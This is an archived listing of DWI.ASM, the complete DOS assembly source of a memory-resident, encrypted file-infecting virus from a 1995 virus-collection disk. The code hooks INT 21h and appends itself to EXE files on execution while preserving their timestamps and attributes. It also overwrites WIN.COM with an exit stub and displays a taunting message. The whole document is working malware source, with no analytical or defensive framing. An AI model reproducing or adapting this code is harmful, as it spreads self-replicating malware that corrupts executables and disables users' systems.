home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / WINVCOLL.ZIP / WINAIMED.ZIP / DWI.ZIP / DWI.ASM next >
Encoding:
Assembly Source File  |  1995-05-12  |  17.5 KB  |  477 lines

  1. ; [][]   []      [] [][][]   "Damned Windows Idiot!" or Anti-Windows...
  2. ; [] ][  []      []   []     
  3. ; []  [] []      []   []          An original Viral Artform by
  4. ; []  [] []  []  []   []      AccuPunk and The Attitude Adjuster of
  5. ; [] ][  [] ][][ []   []     Virulent Graffiti, 216/513/914/602/703!
  6. ; [][]    ][    ][  [][][]
  7.  
  8. ;       "Hey, you... with the shitty logo... Yeah, you! Get over here!"
  9.  
  10. .model tiny
  11. .code
  12.         org     100h
  13.  
  14. id_word   equ   '1V'                                    ; Marker Word
  15.                                                         ; V1 in Lil' Endian
  16. entry:
  17.      mov       bx, offset endcrypt                      ; Virus Start
  18.      mov       cx, (end_write-endcrypt)/2               ; Ieterations
  19. Valu:     
  20.      mov       dx, 0000h                                ; Xor Word
  21. Crypt_Loop:
  22.      xor       word ptr cs:[bx], dx                     ; Xor It (CS Ovr'rd)
  23.      ror       word ptr cs:[bx], 1                      ; Roll it Right!
  24.      inc       bx
  25.      inc       bx
  26.      loop      Crypt_Loop
  27. EndCrypt:
  28.  
  29.      push      ds es                                    ; Save Segments
  30.      
  31.      push      cs cs                                    ; CS=DS=ES
  32.      pop       ds es
  33.      
  34.      mov       ax, 0ABCDh                               ; R-U-There?
  35.      int       21h  
  36.      cmp       ax, 6969h                                ; Ax=6969h Vir_Ident    
  37.      jne       put_vir_in_mem                           ; No.
  38.  
  39. exit:
  40.      pop       es ds                                    ; Restore Segments
  41.  
  42.      mov       ax, es                                   ; AX = PSP segment
  43.      add       ax, 10h                                  ; Adjust for PSP
  44.      mov       cx, ax
  45.  
  46.      add       ax, word ptr cs:[stacksave]              ; Adjust SS
  47.      
  48.      cli
  49.      mov       sp, word ptr cs:[stacksave+2]            ; Set SP
  50.      mov       ss, ax                                   ; Set SS
  51.      sti
  52.      
  53.      mov       bx, word ptr cs:[jmpsave+2]              ; Adjust CodeSeg
  54.      add       bx, cx
  55.      push      bx                                       ; Save It
  56.  
  57.      mov       bx, word ptr cs:[jmpsave]                ; Load IP
  58.      push      bx                                       ; Save It
  59.  
  60.      retf                                               ; Exit Virus
  61.  
  62. jmpsave        dd 0fff00000h                            ; Point to INT 20h
  63. stacksave      dd ?                                     ; Nada.
  64.  
  65. put_vir_in_mem:
  66.      xor       ax,ax                                    ; Interrupt Table
  67.      mov       ds,ax
  68.      les       bx, dword ptr ds:[21h*4]                 ; Int 21h Vector
  69.      
  70.      mov       word ptr cs:[old_int_21], bx             ; Save Int 21h
  71.      mov       word ptr ds:[30h*4],bx                   ; Revector 30h
  72.      mov       word ptr cs:[old_int_21+2], es
  73.      mov       word ptr ds:[30h*4+2], es
  74.      
  75.      push      cs cs                                    ; Restore Segments 
  76.      pop       es ds
  77.      
  78.      mov       ax, 5800h                                ; Get Mem Alloc
  79.      int       21h
  80.  
  81.      push      ax                                       ; Save Strategy
  82.  
  83.      mov       bx, 2
  84.      mov       ax, 5801h                                ; Set to Last Fit
  85.      int       21h
  86.  
  87.      mov       bx, ((end_vir - entry) / 16) + 1
  88.      mov       ah, 48h                                  ; Allocate Block
  89.      int       21h
  90.  
  91.      push      ax                                       ; Returned in AX
  92.      sub       ax, 10h                                  ; Base Ofs 100h
  93.      mov       es, ax                                   ; Our Segment
  94.      
  95.      mov       di, 100h                                 ; Entry = 100h
  96.      mov       si, di                                   ; Entry = 100h
  97.      mov       cx, end_write - entry                    ; Bytes to Zopy
  98.      rep       movsb
  99.      
  100.      xor       cx, cx                                   ; Interrupt Table
  101.      push      cx     
  102.      pop       ds
  103.  
  104.      cli
  105.      mov       word ptr ds:[21h*4], offset Int_21_handler     ; Set Int 21h
  106.      mov       word ptr ds:[21h*4+2], ax
  107.      sti
  108.  
  109.      pop       ax
  110.      sub       ax, 1
  111.      mov       es, ax                                   ; Point To MCB
  112.      mov       word ptr es:[0001], 0008                 ; Config = 0008h
  113.  
  114.      mov       ax, 5801h                                ; Reset Strategy
  115.      pop       bx
  116.      int       21h
  117.      
  118.      jmp       exit                                     ; Exit Stub
  119.  
  120. int_21_handler:      
  121.      push      ax bx cx dx si di bp es ds               ; Save Registers
  122.      
  123.      cmp       ax, 0ABCDh                               ; R-U-There? 
  124.      je        r_u_there
  125.  
  126.      cmp       ax, 4B00h                                ; DOS Exec? 
  127.      je        exec_call
  128.  
  129. back_to_dos:
  130.      pop       ds es bp di si dx cx bx ax               ; Restore Registers
  131.      
  132.      db        0eah                                     ; JMP XXXX:YYYY
  133. old_int_21     dd   ?
  134.  
  135. remove_locks:
  136.      xor       ax,ax                                    ; Interrupt Table
  137.      mov       ds,ax
  138.      les       ax, dword ptr cs:[Old24]                 ; Get Int 24h Vector
  139.      
  140.      mov       word ptr ds:[24h*4], Ax                  ; And Replace It
  141.      mov       word ptr ds:[24h*4+2], Es
  142.      jmp       back_to_dos
  143.  
  144. r_u_there:
  145.      mov       bp, sp                                   ; Alter AX On Stack
  146.      mov       word ptr [bp+10h], 6969h
  147.      jmp       end_int_21
  148.  
  149. exec_call:
  150.      xor       ax,ax                                    ; Revector Int 24h
  151.      mov       ds,ax
  152.      les       ax, DWord Ptr ds:[24h*4]
  153.      
  154.      mov       word ptr cs:[Old24], ax                  ; Save Old Vector
  155.      mov       word ptr cs:[Old24+2], es
  156.      
  157.      mov       word ptr ds:[24h*4], Offset My24         ; With Our Vector
  158.      mov       word ptr ds:[24h*4+2], cs
  159.  
  160.      pop       es                                       ; Caller's Ds in Es
  161.      push      es
  162.      
  163.      mov       di, dx                                   ; ES:DI -> filename
  164.      push      cs
  165.      pop       ds                                       ; DS:SI -> "WIN.COM"
  166.      mov       si, offset win_com
  167.      push      si
  168.  
  169. find_top:
  170.      pop       si
  171.      push      si
  172.      lodsb                                              ; AL = "W" 
  173.      
  174.      mov       cx, 128
  175.      repnz     scasb                                    ; Scan For "W"
  176.      je        check_it                                 ; Got a "W", Check It
  177.      pop       si
  178.      jmp       infect                                   ; Not WIN.COM
  179.  
  180. check_it:
  181.      mov       cl, 7
  182.  
  183. check_char:
  184.      lodsb                                              ; Load Next Character
  185.      scasb                                              ; and Check it
  186.      jne       find_top                                 ; Leave if < >
  187.      loop      check_char
  188.  
  189.      pop       si
  190.      
  191. nuke_windows:
  192.      push      es
  193.      pop       ds
  194.      
  195.      mov       ax, 3d02h                                ; Open WIN.COM        
  196.      int       30h
  197.  
  198.      xchg      ax,bx                                    ; Handle in BX
  199.  
  200.      push      cs
  201.      pop       ds
  202.  
  203.      mov       ah, 40h                                  ; Write WIN.COM
  204.      mov       cx, (my24-win_exit)-1
  205.      mov       dx, offset win_exit                      ; with CD 20h
  206.      int       30h
  207.      
  208.      mov       ah, 3eh                                  ; Close File
  209.      int       30h
  210.      
  211.      mov       ah, 9                                    ; Show User Message
  212.      mov       dx, offset win_msg
  213.      int       30h
  214.     
  215. end_int_21: 
  216.      pop       ds es bp di si dx cx bx ax               ; Restore Registers
  217.      iret
  218.  
  219. infect:                                                 ; File Infection
  220.      push      es
  221.      pop       ds
  222.  
  223.      mov       si, dx                                   ; DS:SI -> filename
  224.      push      cs
  225.      pop       es             
  226.      mov       di, offset fname
  227. LoopAgain:                                              ; Copy filename into
  228.      lodsb                                              ; Our CodeSeg.
  229.      stosb
  230.      or        al,al
  231.      jnz       LoopAgain
  232.      
  233.      push      cs                                       ; CS=DS=ES
  234.      pop       ds
  235.      
  236.      xor       ax, ax                                   ; Get Attributes 
  237.      call      attributes
  238.  
  239.      mov       word ptr [fattr], cx                     ; Save Attributes
  240.  
  241.      mov       ax, 3D00h                                ; Open File
  242.      int       30h       
  243.      jc        bad_exe
  244.  
  245.      xchg      ax, bx                                   ; BX = File Handle
  246.      
  247.      mov       ax, 5700h                                ; Get File Date/Time
  248.      int       30h
  249.      
  250.      mov       ftime, cx                                ; Save Time
  251.      mov       fdate, dx                                ; And Date
  252.      
  253.      mov       ah, 3Fh                                  ; Read Header
  254.      mov       cx, 1ah
  255.      mov       dx, offset buffer                        ; Into Buffer
  256.      int       30h     
  257.  
  258.      call      LSeekEnd                                 ; LSeek the End
  259.  
  260.      push      dx                                       ; Save File Size
  261.      push      ax
  262.  
  263.      mov       ah, 3Eh                                  ; Close File
  264.      int       30h
  265.      
  266.      cmp       word ptr [buffer], 'ZM'
  267.      jne       worse_exe                                ; Not an EXE File
  268.  
  269.      cmp       word ptr [buffer+12h], id_word
  270.      jne       good_exe                                 ; Not Infected
  271.  
  272. worse_exe:
  273.      pop       dx                                       ; Remove Saved File
  274.      pop       dx                                       ; Size
  275. bad_exe:
  276.      jmp       remove_locks                             ; Abort Infection
  277.  
  278. good_exe:
  279.      mov       al, 01h                                  ; Overwrite Attribs
  280.      xor       cx, cx
  281.      call      attributes     
  282.      jc        worse_exe                                ; Catch Write-Prot
  283.                                                         ; Discs Here
  284.      push      cs
  285.      pop       es
  286.      
  287.      mov       si, offset buffer + 14h                  ; Save Initial CS:IP
  288.      mov       di, offset jmpsave                       ; In Segment
  289.      
  290.      movsw
  291.      movsw
  292.      
  293.      sub       si, 10                                   ; Save Initial SS:SP
  294.      
  295.      movsw
  296.      movsw
  297.      
  298.      pop       ax dx                                    ; Retrive File Size
  299.      push      ax dx                                    ; Save It
  300.  
  301.      add       ax, offset end_write - offset entry
  302.      adc       dx, 0
  303.      
  304.      mov       cx, 512                                  ; Pages 512 Bytes
  305.      div       cx             
  306.      or        dx, dx
  307.      jz        no_round
  308.      inc       ax                                       ; Rounding Quirk
  309.  
  310. no_round:
  311.      mov       word ptr [buffer + 4], ax                ; Set Total 512 pages
  312.      mov       word ptr [buffer + 2], dx                ; Set Total mod 512
  313.  
  314.      mov       ax, word ptr [buffer + 0Ah]              ; Get Minimum
  315.      add       ax, (end_write - entry)/16               ; Add our Size
  316.      mov       word ptr [buffer + 0ah], ax              ; Put us in Minimum
  317.      mov       word ptr [buffer + 0ch], ax              ; and in the Maximum
  318.      
  319.      pop       dx ax                                    ; Retrieve File Size
  320.      
  321.      mov       cl, 4
  322.      mov       bx, word ptr [buffer + 8]
  323.      shl       bx, cl                                   ; BX = Header Size
  324.      sub       ax, bx
  325.      sbb       dx, 0                                    ; Subtract Header
  326.      
  327.      mov       cx, 10h        
  328.      div       cx                                       ; Change To Para/Rem
  329.      or        dx, dx
  330.      jz        no_padding
  331.      sub       cx, dx                                   ; CX = Bytes to Pad
  332.      inc       ax
  333.  
  334. no_padding:
  335.      push      cx                                       ; Save Pad Bytes
  336.      sub       ax, 10h        
  337.      mov       word ptr [buffer + 14h], offset entry           ; Set IP
  338.      mov       word ptr [buffer + 16h], ax                     ; Set CS
  339.      mov       word ptr [buffer + 0Eh], ax                     ; Set SS
  340.      mov       word ptr [buffer + 10h], offset end_vir+100h    ; Set SP
  341.  
  342. move_id:     
  343.      mov       word ptr [buffer + 12h], id_word         ; Set ID Word
  344.                                                         ; Negative Checksum
  345.      
  346.      mov       ax, 3D02h                                ; Open File
  347.      mov       dx, offset fname
  348.      int       30h
  349.      
  350.      xchg      ax, bx                                   ; BX = File Handle
  351.  
  352.      mov       ah, 40h                                  ; Write File
  353.      mov       cx, 1Ah
  354.      mov       dx, offset buffer
  355.      int       30h
  356.  
  357.      call      LSeekEnd                                 ; LSeek to End
  358.      
  359.      pop       cx                                       ; Retrieve Padding
  360.      cmp       cx, 16    
  361.      je        no_fixup                                 ; None Needed
  362.      
  363.      mov       ah, 40h                                  ; Write File
  364.      int       30h
  365.  
  366. no_fixup:
  367.      mov       ah, 2ch                                  ; Get Time
  368.      int       21h
  369.  
  370.      mov       word ptr [Valu+1], Dx                    ; New Crypt Valu
  371.     
  372.      mov       si, offset writeret                      ; Copy Write
  373.      mov       di, offset tempcrypt                     ; Routine
  374.      mov       cx, (end_write-writeret)
  375.      rep       movsb
  376.     
  377.      call      tempcrypt                                ; Call Write Routine
  378.  
  379.      mov       ax, 5701h                                ; Set File Time/Date
  380.      mov       cx, ftime
  381.      mov       dx, fdate
  382.      int       30h
  383.      
  384.      mov       ah, 3Eh                                  ; Close File
  385.      int       30h
  386.  
  387.      mov       al, 01h                                  ; Reset Attribs
  388.      mov       cx, fattr
  389.      call      attributes
  390.  
  391.      jmp       remove_locks                             ; Remove Int 24h
  392.  
  393. vir_ident      db   0,'[DWI] AccuPunk/'                 ; Virus and Author
  394.                db     'The Attitude Adjuster'           ; Idents
  395.                
  396. vir_group      db   0,'Virulent Graffiti',0             ; Group Ident
  397.  
  398. win_com        db   'WIN.COM',0                         ; Target File
  399. win_exit       db   0cdh, 20h                           ; DOS Exit
  400. win_msg        db   0dh,0ah                             ; Message
  401.                db   'You''ve been caught, you DWI! You''re nothing '
  402.                db   'but a Damn  Windows  Idiot!',0dh,0ah
  403.                db   'Well, we at Virulent Graffiti have  had it...  '
  404.                db   'you''re  not going  to be',0dh,0ah
  405.                db   'running that bullshit for a while, ''cuz, hey, '
  406.                db   'friends don''t let friends',0dh,0ah
  407.                db   'use Windows!  (and you''re damn right we''re '
  408.                db   'your friends!)',0dh,0ah,'$'
  409. my24:                                                   ; Error Handler
  410.      mov       al, 3                                    ; Process Terminate
  411.      iret
  412.  
  413. Attributes:                                             ; Get/Set
  414.      mov       ah, 43h
  415.      mov       dx, offset fname
  416.      int       30h
  417.      ret
  418.  
  419. LSeekEnd:
  420.      mov       ax, 4202h                                ; LSeek from End
  421.      xor       cx, cx
  422.      cwd                                                ; XOR DX, DX
  423.      int       30h                                      ; Kudos DA
  424.      ret
  425.  
  426. WriteRet:
  427.      push      bx                                       ; Handle
  428.  
  429.      mov       bx, offset endcrypt                      ; Virus Start
  430.      mov       cx, (end_write-endcrypt)/2               ; Ieterations
  431.      mov       dx, Word Ptr [Valu+1]                    ; Xor Word
  432. Crypt_Loop2:
  433.      rol       word ptr [bx], 1                         ; Roll it Left!
  434.      xor       word ptr [bx], dx                        ; Xor It 
  435.      inc       bx
  436.      inc       bx
  437.      loop      Crypt_Loop2
  438.      
  439.      pop       bx                                       ; Handle
  440.  
  441.      mov       ah, 40h                                  ; Write File
  442.      mov       cx, end_write - entry
  443.      mov       dx, offset entry
  444.      int       30h
  445.      
  446.      push      bx                                       ; Handle
  447.      
  448.      mov       bx, offset endcrypt                      ; Virus Start
  449.      mov       cx, (end_write-endcrypt)/2               ; Ieterations
  450.      mov       dx, Word Ptr [Valu+1]                    ; Xor Word     
  451. Crypt_Loop3:
  452.      xor       word ptr [bx], dx                        ; Xor It
  453.      ror       word ptr [bx], 1                         ; Roll it Left!
  454.      inc       bx
  455.      inc       bx
  456.      loop      Crypt_Loop3
  457.      
  458.      pop       bx                                       ; Handle
  459.      ret                                                ; Return
  460. end_write:
  461.  
  462.   old24          dd   0                                 ; Int 24h Vector
  463.   buffer         db   1Ah dup (0)                       ; EXE Read Buffer
  464.   fname          db   128 dup (0)                       ; Filename Buffer
  465.   fdate          dw   0                                 ; OldFileDate
  466.   ftime          dw   0                                 ; OldFileTime
  467.   fattr          dw   0                                 ; OldFileAttr
  468.   
  469. tempcrypt:      
  470.                  db   (end_write-writeret) Dup(0)       ; Write Routine
  471. end_vir:
  472.  
  473.      end       entry     
  474.  
  475.  
  476.  
  477.